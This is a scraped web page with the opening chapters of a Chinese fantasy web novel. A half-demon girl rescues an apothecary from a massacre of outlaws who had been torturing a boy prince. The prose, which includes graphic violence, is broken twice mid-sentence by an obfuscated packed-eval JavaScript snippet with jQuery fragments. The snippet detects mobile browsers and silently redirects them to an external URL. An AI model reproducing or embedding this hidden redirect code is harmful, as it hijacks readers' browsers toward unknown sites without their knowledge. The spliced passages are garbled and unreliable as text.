《山野小妖修行录》 1. 我有嘉宾1 “人总说妖可怕,可是,明明他们自己更可怕。” 青崖藏在灌木丛后,望着不远处叫嚣的人群,发出如此感慨。 山林笼罩在夜色里,唯有远处那群人的睡帐附近有三三两两火堆照明。 数十人围成一个半圆,将一名被五花大绑的少年团团围住。 他们在叫骂。 “弄死他!” “不能便宜了他,慢慢弄死!” “先把腿打断!” “腿打断影响走路,不如挑断他的手筋,剁了他的手指,弄瞎他的眼睛!” 他们围着少年发泄怒火,骂着骂着动起手来,从地上抓起石头树枝狠狠砸向少年。 那少年身体瘦弱,看起来不过十三四岁。他被绑在树干上,低着头,嘴唇紧闭,眉宇间满是与年龄不符的绝望。 围在他周围的人手持刀枪棍棒,穿着打扮像这时节常见的流民土匪。 青崖躲在暗处观望,犹豫再三,不知该不该救人。 她不认识这群人,也不认识那名少年。 此处距离她与姐姐红鸾的隐居之地只隔一道山谷。她如往常般与姐姐在天黑后准备回家休息时,听到流民的喧闹声,便忍不住过来瞧瞧。这里层峦叠嶂,地方偏僻,极少有这么多人聚集。 青崖将目光锁定在少年身上,发现他眉心有一点红,不知是一点血迹,还是一粒小小朱砂痣。 救?还是不救? “怎么办,姐姐?”青崖询问身侧的红衣女子。 红鸾半蹲在青崖旁边,尽可能小心地收敛着自己的裙裾,但还是有一角不慎垂落在地,沾染上了些微土色。她拉起那一角裙摆,弹掉上面的尘土,漠然道:“与我们无关,看看再说。” “可是他们以多欺少,那孩子快要撑不住了!” 借着火光,可以清清楚楚看到“那孩子”脸上有好几处淤青,衣衫被撕扯地破破烂烂,身上到处都是泥土与血迹。流民们丢出的石头咂在他身上,每一击都砸得他浑身一抖。 由于被绑在树上,他躲无可躲,除了被砸到脑袋时下意识歪一下头,其余一点挣扎动作也没有,就像当自己已然是个死物。 红鸾语重心长道:“青崖,不是所有人都值得救的,万一他是个丧尽天良的恶煞,杀人无数,此番遭难是罪有应得呢?” 青崖斩钉截铁道:“不!可!能!” “怎么不可能?” “因为他长得好看,我喜欢。”青崖目不转睛盯着远处的少年,笃定道:“我看得顺眼的人,绝对不可能是什么恶煞。” 红鸾白了她一眼。 青崖不以为然,依旧坚持自己的观点,毕竟她的直觉从未出错。 当她说一个人“好看”,绝不仅仅是皮相上的好看。仁善忠义之人,哪怕灰头土脸,在她眼中也十分顺眼可爱;奸邪狡诈之人,哪怕衣冠楚楚,在她眼中也面目可憎。 青崖自认这是一种对善恶的直觉,是一种天赋技能,她尚不确定,也不会形容这种直觉,只会简单概括为一个人“好看,我喜欢”,或“不好看,我不喜欢”。 这样简单的概括说服不了红鸾,红鸾每次都只当她是以貌取人,取准也只是巧合而已。久而久之,她也懒得重复辩解,只在心里认定自己有凭面相分善恶的本领。 少年如同明珠蒙尘,遍身狼藉掩盖不住他原本的秀美贵气。身上衣服虽然褴褛,却能看出是由上好衣料制成。 青崖推测:“一定是有钱人家的小公子被绑架了。” 人群中一声怒喝,不知是谁扔出一颗尖锐石头,正中少年额角,鲜血顺着他的脸颊流下,滴落在他沾满泥土的衣襟上。 青崖语速飞快地催促:“姐姐,等我们弄明白事情原委再救人恐怕就来不及了!” “来不及就来不及,”红鸾依然不紧不慢,“告诫过你多少次离人远一点,少管他们的闲事,你怎么总改不了对他们的热心?” “好好好离远点离远点。”青崖习惯性地应付姐姐的嘱咐,根本没留意自己答应的是什么,她伸长脖子,视线黏在小少年身上无法离开,“我们什么时候去救人?” 红鸾无奈叹气,小心拨开眼前的灌木丛观察地形。 “人都聚集在那孩子前方,我把火熄灭,到前面制造混乱吸引人们的注意,你从后面偷袭,动作越快越好,不要恋战,但求把人救出来,知道吗?带人越过结界的时候小心点,别让他看出端倪。” 说完,她伸出手,五指张开掌心朝天,口中念道:“灭——”随着她手指弯曲,掌握成拳,远处流民的火堆冷不丁一团一团,由近及远,依次熄灭。 青崖从怀中拿出与自己衣服同样是黑色的面巾将脸遮住,正要悄悄移动,红鸾却突然收手终止施法,紧紧按在她背上不让她动。火堆火焰复燃,流民们还以为方才熄灭的那一瞬间不过是一阵风吹过,都没在意。 “怎么了?” 青崖疑惑转头,只见一向沉着冷静的姐姐大惊失色,“陵王?他们叫他‘陵王’?那孩子竟是一名皇子?” 仔细一听,在众流民嘈杂叫骂声中的确可勉强辨别出几句:“……陵王……狗屁皇子……没一个好东西……还我一家人命来……” 青崖暗呼糟糕。 姐姐对普通人只是普通反感,对皇亲国戚则是深恶痛绝,那少年若真是皇子,姐姐定是不想救了。 果不其然,红鸾紧紧捏住她的手腕,几乎捏痛了她,冷冰冰道:“青崖,平常人便罢了,皇家的事我们万万不能插手,你莫要忘记,东莱国人开始捉妖、将妖剖丹炼骨,就是因为皇帝颁布的《捉妖令》!” 青崖无言以对。 在很久以前,他们这种聚灵而生、身怀异能的生灵还没被当作“妖”,在某些地方,甚至被当作“神”,完全可以自由行走于世间,直到十二年前,皇帝信了“吃妖心可得长生”的说法,颁布《捉妖令》。 《捉妖令》指明,凡捉妖、举报妖物者,皆有重赏,隐瞒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13175871|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不报者,则有重罚。如此一来,他们这种特殊生灵被冠名为“妖”,民间冒出许多专门捉妖的术士。天下众妖开始了躲躲藏藏的日子,她父母与红鸾都是在那时先后来到附近开始隐居的。 青崖自己却并不完全是妖。 她父亲是妖,母亲是人。父母故去后,她由红鸾照看长大,不是亲姐妹胜似亲姐妹,因此她自然而然和红鸾一样,以妖的身份生活。 大约因为骨血里终究有一半属于人,她始终保留着对人无法磨灭的好奇与亲近。此时此刻,她只觉树下那个被捆绑欺辱的少年看起来比她还小,就算是皇子,十二年前皇帝推行《捉妖令》时他还不认字,皇帝的命令与他有什么干系?既在她眼前蒙难,就令她无法不同情。 红鸾素知她的性情与想法,毫不留情地提醒:“皇室作恶多端,那皇子落到如今这地步一定也是咎由自取。” 青崖反驳道:“就算我以貌取人,可我对人的判断从没出过错,不是吗?他看起来真的不是恶人。”说着揪住红鸾的袖角轻轻摇晃,面带祈求,“姐姐,先救救他吧。” “啊——!” 一声凄厉惨叫从人群那边传来,惊得姐妹二人一齐抬头。 远处树下,流民突然变得更聚拢了,叫骂声几近沸腾,他们汇聚成一个巨大旋涡,个个都争先恐后地涌向中间那名少年。火光拉长他们的影子,投在地上与树上,如群魔乱舞。 旋涡中心,少年的左手被迫抬高,高过头顶,一把寒光烁烁的匕首刺穿他的掌心,将他的手牢牢钉在了树干上。 袖子滑落,露出一截小少年的手臂,那手臂白皙瘦长,如同一株脆弱嫩竹,肌肤上布满鞭痕与擦伤,还是被摧残过的嫩竹。 鲜血涌出,从他被刺穿的掌心顺着手臂潺潺流下,染出几道刺眼的血红色。围绕他的流民们更兴奋了,簇拥着将他另一只手也举起按在粗粝树干上,有人压住他的手腕,有人掰开他的五指,显然下一步是把他的右手也钉穿。 “啊——” 剧痛粉碎了小少年强撑出的麻木,他忍无可忍地哭叫出声,嘶哑声线穿过人群直抵青崖耳畔。她听得清楚,那分明还是一个连声音都尚未完全成熟的孩子。 一股热血直冲头顶,青崖瞬间将红鸾的忠告抛之脑后,甩开红鸾的手,在夜色掩盖下,按照之前计划的路线向捆绑少年的树后挪去,距离不到百步远时,被追到她的红鸾狠狠按住。 “太危险了,人我去救,你不许露面!”红鸾压低声音怒斥。 青崖无暇去问是小少年的惨状还是她的坚持打动了姐姐,此时只想在少年另一只手被钉穿之前把他救出来,但不愿置身事外让姐姐冒险,道:“不行,人是我要救的,要么一起救,要么我自己去救!” “我说了我去救!” 她们互不相让,谁也不愿意让对方单独涉险。就在这时,流民中间爆出一声怒喝:“住手!!!” 正狂欢般实施暴行的流民被这声音震得安静了几分。 2. 我有嘉宾2 青崖与红鸾也停下动作,躲在一棵大树后,悄悄探头查看流民那边的动静。 一个背着竹筐的青年男子挤进人群中间,格挡开那些将要把匕首刺入小皇子右手的人,将难以站立小皇子扶稳,目光顺着血迹往上,在小皇子被匕首刺穿的掌心落定。 青崖所处的位置,正好能看到青年男子的震惊神色。 男子怒不可遏,转身大声斥责面前的人:“你们口口声声说受够了朝廷的胡作非为,那你们自己呢!这般虐待一个手无寸铁的人,便是你们追求的正义,是你们所谓的‘替天行道’吗?!” 这激愤喝问的声音虽大,却与鼎沸人群的粗鲁叫骂声截然不同,沉稳中带着一股文质彬彬的正气。 他张开双臂,将小皇子护在身后,面对一群手持武器,近乎疯狂的壮汉,毫无惧色。 为首正在兴头的大汉不服气,朝地上呸了一口,手握匕首比比划划:“现在律法提倡连坐之罪,我们中间多的是本身并没犯罪,只是受了连坐牵连才变成罪人的冤大头。我们抓不到皇帝老儿,只抓住他儿子,那就父债子偿,有什么不对!” 众人紧跟着附和:“对,父债子偿!”“以牙还牙!”“长山先生你不也是受牵连的人吗?”“为我们死去的家人兄弟们报仇!”竟是群情激愤难以抑制。 一个面色阴沉的中年男子站出来,走到众人面前摆了摆手,喧闹的人群顿时安静。所有人的目光都集中在他身上,等待他开口,显然这群流民以他为首。 拿着匕首的大汉也不再挥舞匕首,而是一抱拳道:“大当家的,让您侄子让一让,不要多管闲事。” 大当家点头,对拦在皇子身前的青年道:“长山,我们知道你心地仁慈,看不得这些,所以才把你支走,你不要不知好歹,速速让开。” 原来那个青年叫长山,青崖默默记住了这个名字。 长山听完大当家的话非但没有让开,反而放下背篓,贴近树下,将小皇子护得更严,坚定道:“舅舅,我很感念您收留我,但这等行径,我无论如何也要阻止。陵王既是人质,你们只要设法达到你们的目的即可,何必如此虐待他?” “虐待?”大当家劈手从旁人那里夺过一条马鞭,正要再给陵王一鞭子,却被长山挡着,鞭子便啪地一声抽在长山身上。大当家怒道:“我不但要虐待他,还要杀了他才能解气!他哥哥平王原本答应我,只要我帮他杀了他这个弟弟,他就向朝廷请命,将我们招安,赦我们无罪。可是现在,事情做成,平王竟带人以剿匪为名将咱们山头的家人、兄弟都杀了!摆明是要背弃约定杀人灭口!这个陵王现在无论死活都是一个烫手山芋,还不如让兄弟们出出气,你快让开!” 长山挨了一记鞭子,仍在原地屹立不动,身影如一棵高山上的青松。 大当家越发恼火:“逆子!你可还记得你父母是怎么去世的?你又是怎么被迫躲到我这里来的?到底我是你家人还是这王八蛋狗皇子是你家人?!” 长山放下一直张开的手臂,回头看了皇子一眼,那眼神与他保护皇子的行为截然相反,毫无关切,反而带着一丝怨意。 他在维护一个他怨恨的人。 “我记得父母是怎么去世的。”长山再次面对众激愤的流民,面对舅舅,站得笔直,“但是在这里折磨一个未及弱冠也未掌权的病弱皇子,就能让失去的一切都回来么?能改变现状么?你们究竟是反对连坐,还是支持连坐?在这里实施暴行,能让朝廷改变严苛律令么?能为我们这些剩下的人谋出一条生路么?” 连续五问,让流民们的神情都变得复杂起来。 大当家道:“我有我的安排,你不想参与,我没强迫你参与,你做你的药师,为大家看病煮药就好,不要干扰我们的其他行动。” 长山道:“舅舅,对于以后该怎么办,您当真还有安排吗?” “你……!”大当家脸色铁青。 一说起以后的安排,不仅大当家说不出话,众流民的气焰也如被泼了一盆冷水。 “舅舅,还有大家,你们仔细想想,”长山声音放缓,心平气和道,“平王以为你们已经帮他解决了他弟弟陵王,所以才更急着杀人灭口,而且还有名正言顺的‘剿匪’为理由。那么现在,这个陵王在咱们手中,活着比死了更有用。你们想让他死,随时都可以一刀杀死。但让他活着,就多一个筹码,多一份可能。退一万步,假如——我是说假如,假如我们剩下这些人也不得善终,只要这个陵王活着,回到京城,回到他原来的位置,那么欺骗了你们的平王,就一定不会有好下场。” 这一下,所有人都面面相觑,继而交头接耳,谁都不再大声喧哗。带头对陵王发难的大汉咽不下这口气,又知长山说得有理,愤然转身,把匕首往旁边一棵树上一插,怒道:“若给我逮住了平王,定要将他千刀万剐!” 大当家思量片刻,由怒转愁,长叹一声道:“天色已晚,大家也别闹了。”从人群中指出几名男子吩咐:“你们晚上轮流守夜,其他人原地休息,明天……唉,明天的事,明天再说。” 他仿佛一下变得苍老无力,塌着肩膀走出人群。余人望着他的背影,少数不甘心的人还追着他抱怨:“怎么能这样轻饶了这个陵王?”更多的则是和他一样变得丧气,三三两两散开,各自进入睡帐或在火堆旁坐下发呆。 一场聚众行刑,终于得以暂停。 “咦,”青崖稀奇道:“那个叫‘长山’的,一开始不在人群里吧,不然他这么特别,我应该一眼就先看到他。” 长山虽一身布衣打扮与流民相似,却通身儒雅书卷气,站在一群手持刀枪的壮汉中,显得格格不入。 人群散去,少年陵王的左手还被匕首钉在树上,留下看守的人坐在他对面,自顾自吃起自带的干饼,丝毫没有解救他的意思。 长山一言不发,冷着脸用布条缠住少年的手臂打了个结,从背篓里拿出一个瓷瓶,倒出一粒药丸喂到少年嘴里,然后往他被钉在树干上的手掌伤口四周撒了些白色药粉,这才握住匕首,猛然拔出。 “呃啊……”少年痛呼一声,委顿在地,长山抓住他的手,迅速止血包扎,动作娴熟,一丝不苟。 看到小少年暂时得救,青崖松了口气,道:“叫‘长山’的人虽然和这些人是同伙,但是似乎不坏。” 不仅不坏,若以面相辨认,也完全属于“好看,她喜欢”的那类。 红鸾没有回应,青崖也没期望得到回应,想让姐姐夸一句东莱国人,那几乎是不可能的。 “姐姐,咱们趁现在把人救——出……来……吧……”青崖越说越迟疑,她注意到,红鸾望着陵王的眼神里满是毫不遮掩的恨意,比起救陵王,红鸾无疑更想杀陵王。 姐姐平日向来冷静自持,极少流露出这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13175872|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓烈的情绪,简直像变了一个人,看得青崖有些心惊,轻声唤道:“姐姐?” 红鸾恍然回神,收回视线,拉起她不着痕迹地往远离那片是非之地的方向撤离。 “他既性命无忧,便不用我们管了,走。” “可是……” 性命无忧只是暂时的,听流民方才的言语和态度,一起念杀了那少年也很有可能。至于叫长山的药师,也只是看不得流民用残酷手段折磨少年,并不反对一刀杀了他。 青崖还想央求,却被红鸾横眉一瞪,只好将后面要说的话咽回肚子。 她不甘心地拖着脚步与姐姐离开,最后一次回头看向远处树下,只见受伤的小少年躺平在地,似乎已经昏迷,长山一手搭在他腕上号脉,另一只手从背篓里掏出几个小药瓶和几把捆扎成束的草药。看守陵王的人冷漠坐在一旁,对长山的行为嗤之以鼻。长山浑不在意,只顾低头给陵王疗伤。 “姐姐,那个叫长山的也很好看。” 这句话,青崖想说却又没说,因为红鸾此刻的脸色极为难看。 她被红鸾拉着退回山谷深处,结界之内,直到完全听不见人群的一点声音,红鸾才松开手,望着夜幕下的山峦,若有所思道:“那伙来路不明的人竟敢劫持皇子当人质,背后的动机和势力定不简单。此处距离京城遥远,真不知皇子怎么会出现在这里。” 青崖担忧道:“那‘那孩子’岂不是羊入虎口,很危险?” “危不危险与你无关,”红鸾正颜厉色远超平日,警告道:“青崖,你我在山谷隐居多年,这般安宁难能可贵,外面世道复杂,且不论《捉妖令》,就是寻常百姓一旦与皇室扯上关系也会更加危险。以往你捡些普普通通的不知名过路人回家作客便罢了,这一次,千万不可多管闲事。” 青崖无奈答应:“哦,知道了。” 这番说辞,她早就听过没一千遍也有九百九十九遍。 红鸾看出她答得心不在焉,再次强调:“听到了吗?这一次,不——许——救——人——!” 青崖满口答应:“好好好听到了。” 姐妹俩原本各有各的房子,红鸾为了确保青崖不多管闲事,当晚执意将青崖留在她的房里,与她同床而眠。 夜阑更深时分,青崖在床上辗转假寐一个时辰,等姐姐熟睡后,偷偷摸摸坐起。 她抱着外衣蹑手蹑脚走出姐姐的卧房,心道:“我只是睡不着觉起来坐一坐,绝不是去救人。” 穿上衣服走到院子里,心道:“我只是随便走走,绝不去救人。” 乘着夜风迈步走入山林,又道:“我只是来散步,绝不救人。” 接着是“散步恰好走的是这个方向罢了。”“体力过剩走远了一些而已。”“听到动静忍不住看看,看看又不是救人。” 如此这般,心中念叨着“绝不救人”,脚下步履不停,一路往那帮流民安营扎寨的地方走去。 起床出门已是子时,夜如泼墨。这种时候,那些人应当已经休息了才是,可隔着一片树林就听到那方传来一片比之前更吵闹、更混乱的厮杀声,就连火光也变得更为明亮,使得半边山坡都隐隐泛着红光。 来都来了,再靠近一点看看也无妨。 这样想着,青崖蒙上黑色面纱,加快速度,仗着夜色与一身黑衣作掩饰,大胆凑近,在略高一点的山坡上向下观望。 3. 我有嘉宾3 那伙来路不明的流民正与一群官兵装扮的人打得水深火热。 青崖一眼就看到一个官兵手拿长矛捅进一个流民的胸口,顿时鲜血喷溅。场面一片混乱,流民们的惨叫声与官兵的呼喊声交织在一起飘上山坡。 “平王呢?叫平王出来!”“他不会有好下场的!”“陵王不在我们手里!” “快!一个都不许漏!”“那边!”“男女老少格杀勿论!” 流民无论数量还是武力都抵不过训练有素的官兵,前半夜看起来还凶神恶煞的团伙,此刻完全沦为鱼肉,任人宰割。官兵将他们的宿营地重重包围,以绝对碾压之势,对他们进行围剿,不过片刻,尸体横七竖八倒伏一地。 死亡产生的煞气萦绕在附近,青崖有所感应,反感地皱眉。 妖喜欢有灵气的地方,灵气与煞气相克。幸好此处靠山聚水,灵气充裕汇聚成一股强大灵流,若只有少许灵气,被这么多煞气一污染,必定会溃散消失。 随着死亡人数增多,煞气也在增多,伴随鲜血,从被割喉,被砍掉胳膊、被洞穿身体的尸体上源源不断地涌出。 青崖自幼离群索居,活人见得少,死人见得更少。她看到一个士兵又将割破一个流民的喉咙,连忙转移视线,不想直视那血淋淋的一幕,谁知转眼竟看到一具肚皮被划破肚肠外露的尸体,吓得一缩脑袋躲回树后,用手蒙住眼睛。 这种情况,以她一己之力救不出几个人。何况这伙流民和官兵孰是孰非她也不了解。 应该听姐姐的劝告,少管闲事。 她闭着眼睛,脑海中浮现出小少年嫩竹一样的胳膊和好心药师如松一般的背影。 他们也会在这场乱局中惨死,变成两具残缺流血、散发煞气的尸体吗? 青崖放下蒙眼的手,咬了咬唇,深吸一口气,再次将视线投向那片血流成河、尸横遍地的战场,在里面搜寻起那两个人的身影。 一旦开始挂念二人安危,就把“绝不救人”四字忘得一干二净。 她从一棵树后跃到另一棵树后,不断切换视角与藏身地。目之所及,流民的睡帐都被拆得七零八落,要么坍塌,要么着火,官兵包围的空地上根本没有地方可以躲藏。包围圈越收越紧,流民们可逃窜的范围越来越小,也许知道求饶无用,他们个个都拼尽全力奔走反抗,直至身亡。 随着官兵的屠戮,场中尚能站立的流民越发稀少,晃动人影中间露出一个跪坐在地的身影,正是之前阻止流民暴行的好心药师。 “啊,是长山!”青崖低呼。 长山伏在一个人身边,那人身中数箭趴倒在地,长山凄声痛呼:“舅舅!舅舅!” 青崖记得,长山舅舅就是这群流民口中的“大当家”,现在连领头人都已身亡,这伙人剩下的也必定在劫难逃了。 有个杀得最起劲的士兵也注意到了长山,提着沾满鲜血的刀从侧后方向长山走近,他们相距不足十步,士兵来到长山身后,长山丝毫没有察觉。 青崖正要出手相救,红鸾“不许救人”的嘱咐咒语一般在心中响起,把她定在原地。就是这一迟疑,那士兵已举起大刀,吆喝着劈向长山。长山发觉身后有人,勉强一躲,一看就没有半点功夫,手臂躲闪不及被划出一道深长的伤口,登时血流如注,染红了他的衣袖。 在如此慌乱的情形下,他还背着一个沉重包袱,动作愈加吃力。他毫无方向地奔走没几步,就被一具尸体绊了一下,跌倒在地,身后追击他的士兵再次举刀向他背心砍去。 这一次,他几乎必死无疑。 青崖不敢再拖延,双脚点地,自山坡上掠下,凭借地势高低差,临近官兵包围圈时奋力一跃,身体从坡上斜着飞出,凌空越过外层的官兵,直接落在战圈中心,瞬息抵达那认命般闭眼等死的青年药师身边,使了个水底捞月,把他从索命鬼面前拉回来。 “跟我走!” 铿的一声,士兵的刀砍了个空,劈在地上撞到石头,激起一阵沙石飞溅。士兵一怔,发现面前多了一个黑衣人,调转方向举刀再砍,手举起来时,刀却不见了,仔细一看,自己的刀竟落在了黑衣人手中。 根本不知怎么失去武器的士兵大呼:“有救兵!” 外圈骑马观察全局的将领也发现了黑衣蒙面的闯入者,他吹了一声口哨,指着黑衣人喝道:“封锁东南角!别让他们跑了!” 尖锐的口哨一响,众将士闻令而动,纷纷涌向突然出现的黑衣人。 奇怪的是,黑衣人左手拉着一个身高高过她一头的男子,右手握着夺来的刀,身形竟是快如鬼魅,从刀光剑影中巧妙穿过,没有片刻凝滞。 青崖挥刀挑开企图拦截她的长枪短剑,甚至尚有余力东张西望,希望能找到那个小少年一并救出,可直至冲到包围圈边缘,仍不见其踪影。 只能救一个是一个了。她握紧刀柄,全程小心地只用刀背与刀侧击人,硬是在士兵包围中开辟出一条道路。被击中的士兵们只觉手臂一震,武器随即掉落,眼前闪过风一般的黑影,黑衣蒙面人拉着长衫男子转眼冲出重围。 长山被拉着狂奔,更是感觉所有声音和人影都因向后移动速度过快而变得模糊难辨,火把的光芒在余光中被拉长成为一条又一条流动的橙色光线。 万物皆朦胧,唯有眼前拉着他手的女子轮廓是清晰的。女子墨发如绸,发间缠绕着一条嫩绿色细藤。黑色面巾遮住了她的大半张脸,只露出一对灵动眉眼。她回头时,眸中映出周围摇曳的火光,神情略显兴奋,却没有一丝惊慌,如同此间穿行不过是一场好玩的游戏,危险与是非她全然不放在心上。 长山不由自主地随她奔走。 离开流民的宿营地就得往山坡上跑,若是只有青崖自己,一定毫不费力,但拖着一个受伤的男子,要甩掉后面的追兵就有些困难了。青崖正欲绕路,忽听见头顶掠过飞鸟扑打翅膀的声音,紧接着就是后方士兵接连摔倒的惊叫之声。 她没有回头,衣襟带风马不停蹄拉着长山在林间穿行,夜幕下,她仅凭淡淡月光就如在晴空白日一般灵敏迅速。 青崖拉着长山穿过树林,越过小溪,追兵的声音越来越小,直至完全消失,终于只能听到他们二人的脚步与呼吸声,还有瓶瓶罐罐的摇晃碰撞声——长山竟还背着他的包袱,瓶瓶罐罐声就是从他包里发出的。 青崖驻足回头,见长山脸色发白唇色发青,上气不接下气,扶着他在溪边一块石头上坐下,道:“我是不是跑得太快了?这里安全,你歇一歇。” 她的体力与速度,普通人望尘莫及,让一个伤患跟着她跑这么多路,实在勉强。 长山气喘吁吁,匆匆向后瞥了一眼,害怕还有追兵,揭开袖上被划破的衣料,眼见手臂上的伤口犹自流血不止,急道:“多谢姑娘救命,我失血过多……只能坚持到这里了……那些人恐怕不会善罢甘休,姑娘快走……莫要受我牵连……” 闻言,青崖微微一笑,相信自己救了一个值得救的人,没有白白冒险,又为自己准确的相面结果而得意,自信道:“放心,这个地方外人可没那么容易找来,就算找来,也没那么容易能抓住我。” 她已带着长山穿过结界,结界之内,凡人难以闯入。 长山抬头望着她,面带诧异:“请问姑娘是……?” 青崖道:“我是住在这山里的人。” 这一刻,周围再没有刀剑交击,没有喊 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她与红鸾各自的住所相距不远,两座房屋本就是为了让屋主既能相互照应又能相互独立而建造。此刻红鸾在自己的房子里,她的房子正好空着。 每次捡人回去,青崖都会庆幸自己有属于自己的房子,如若与红鸾同住,红鸾无论如何也不可能让外人踏入家门。 她把长山送回自己的木屋安置好,念及那个手被刺穿的少年还下落不明,不死心地跑回去二度寻找。 这一次她重返流民宿营地时,流民已被官兵尽数斩杀。 近百具尸体一排排整整齐齐排在被火光照亮的空地上,一个将领模样的人在尸体旁边来回走动检查,仔细审视每张面孔。 他也在寻找陵王吗? 青崖藏身在树梢上,强忍煞气与尸体带来的不适之感,也和那个将领一样,视线一一扫过每一张脸。百具尸体死状各异,里面没有一张清秀贵气的少年面孔。 难道被救走了? 这时,将领对身边士兵道:“分头去找,流匪已经杀了陵王,死要见尸,明白吗?” “明白。” 士兵领命,点出几队人四面八方散开,分头搜山。 青崖退回安全地带,思索将领所说的话。 陵王被劫持,官兵剿匪应当是为救陵王,可看他们的行为,与其说他们期望找到陵王,不如说他们更期望找到陵王的尸体。 如果他们不是来救陵王的,反而可能对陵王不利。现在找不到陵王,难道是那少年知道官兵不是来救他的,所以自己趁乱逃跑了?可他病弱带伤,在方才那样的杀局中有力气逃吗?能逃多远? 想到少年的模样和神情,青崖很怀疑这种可能。 少年绝望麻木的样子,近乎没有任何求生欲,那副模样,便是身体能支撑他逃,他也不会逃。 是不是真的被其他人救走了? 但愿如此。 青崖长期隐居山林鲜少接触世事,长山阻止流民暴行时对舅舅所说“平王”“陵王”相关消息,她听了一耳朵,全没听懂,盘算着等长山醒来得再问问。 如此来回折腾大半夜,再回到家天已蒙蒙亮。 她一进门,就见长山倚坐床头,闻声而侧身,用一种不可思议的,略带警惕的目光望向她。 那不是单纯端详救命恩人的眼神,甚至让她感受到一种无形的压力。 青崖不动声色摸了摸自己的脸与耳朵,摸了摸身后腰下,确定自己没有不小心露出妖形,迷惑道:“我长得很奇怪吗?为何那样看我?” 长山徐徐道:“不,姑娘长得不奇怪,只是身手速度奇快,不似寻常人。” 4. 我有嘉宾4 青崖故作轻松,拍掉手上的灰尘,道:“我从小练武防身,练出来的。” 其实她天生速度就比习武多年的凡人武者还快许多。 长山微微点头,不再多问,目光变得柔和,欠身道:“在下失礼,多谢姑娘带我脱离险境。”语调和缓,透露出一种从容不迫的气质,问道:“这是哪里?” “这是我家。”青崖坐到床边,指了指他右臂,“伤口疼么?你是个药师吧,应该可以自己给自己治疗?” 长山道:“姑娘怎知我是药师?” 青崖绝口不提昨夜偷窥之事,故意神秘道:“我会读心术,不仅知道你是药师,会看病,还知道你叫长山,厉害吧!” 长山显然并未当真,随和一笑,问:“姑娘为何冒险救我?” 他问得过于认真,认真得透出一丝古怪,仿佛救他是件有违常理的事。 “看你顺眼。”青崖随口扯了一个半真半假的理由。 “姑娘可知,与我同行之人都怎样了?” 青崖诚实道:“我后来回去再看,只看到官兵在整理尸体。” 长山垂下眼帘悲戚自语:“果然……” 青崖见过昨晚那些人凶神恶煞迫害少年陵王的模样,其实对那伙流民的下场不甚挂心。不过长山唤其中大当家作“舅舅”,想来是沾亲带故的,于是安慰:“山林广袤,多得是躲避的地方,他们中兴许也有像你一样的幸存者。” 长山摇了摇头,一脸苦涩。昨日官兵的大刀有多狠厉无情、占据压倒性优势,他是亲身体验过的。且舅舅就倒在他面前,以一个医者的常识判断,舅舅所受的伤,实在难以活命。 他父母双亡后跟随舅舅三年,尽管多有不和,好歹算是最后一个亲人。想到舅舅与山寨其他同伴,上百个人竟在一夕之间全部死于官兵之手,长山心中一痛,想起身到屋外走走,略一移动,牵扯到右臂的伤口,忍不住“嘶”地一声痛呼。 青崖见状,把他的包袱拎到床边,道:“当务之急还是先照顾好你自己,我只用了止血药给你包扎,你看看是否需要再仔细处理一下伤口。” 长山摸了摸左臂缠绕伤口的布条,道:“药用对了就好,包扎没有问题。”他随意翻了一下自己的包袱,“可惜口服的配药不全,不过也无所谓,我……” “缺什么药?”青崖抢话道,“缺什么药尽管说,我家没有,这山里肯定有,若是山里也没有,我还可以去附近的村镇帮你买。或者——需要什么仙草灵药,我也可以帮你找找。” “仙草灵药”四个字一出口,刚刚略显放松的长山又露出警惕神色,像听到了什么荒唐言语,惊疑反问:“仙草灵药?” 青崖大方道:“对,仙草灵药,这附近有很多。” 近些年来,灵流附近冒出一些奇特植物,它们吸收灵气生长而成,形态各异,有草有树,有花有叶,白日看起来与寻常植物相似,但到了夜间会散发出微微荧光。 “姑娘可知《禁药令》?擅自采摘或使用仙草灵药乃是死罪。”长山坐直身体,眼睛一眨不眨紧盯青崖。 “我知道啊。你们——呃——外面的皇帝以为那些仙草灵药可以炼制长生不老药,故而禁止百姓采摘使用。但是外面的规矩管不到这深山野林里。你需要什么草什么药尽管说,只要附近有,我肯定给你弄来。” 青崖越是解释,长山越是发蒙,眉头皱得像要打结:一件触犯死罪的事,对方竟这般不在意,还大大咧咧提起“皇帝”——那可是当前平民百姓绝对不敢评说之人。 他忍不住打量房间,想再次确定自己在哪,青崖也随他的视线检查自己的屋子,看看可有什么对凡人来说可能古怪的事物。 这是她木屋中的书房,因距离大门最近,就把长山安置在了这里。这个房间平时她主要用来读书、作画、修炼。靠墙立着一个高大书架,上面摆满各种书与画卷;临窗的书案上堆满纸页,都是她画的花草植物;墙上悬挂着几束风干做绘画参考的花草;最内侧有一软榻——就是长山正躺着的地方——用于疲惫时小憩。 房间里应该没什么不寻常之处。 “原来姑娘也喜爱研究植物,”长山视线一转,落在她画的花草图上,思索一番,报出几个药名,“我还需要仙鹤草、红药子……姑娘熟悉植物,应当不用我再描述这几味草药的模样吧?我可以用它们配制疗伤的药,可否劳烦姑娘帮我找来?” 青崖的确一听名字就知道对应植物,听完怀疑道:“你说的这几个都是寻常植物,你的伤口那么深,真的不需要仙草灵药吗?” 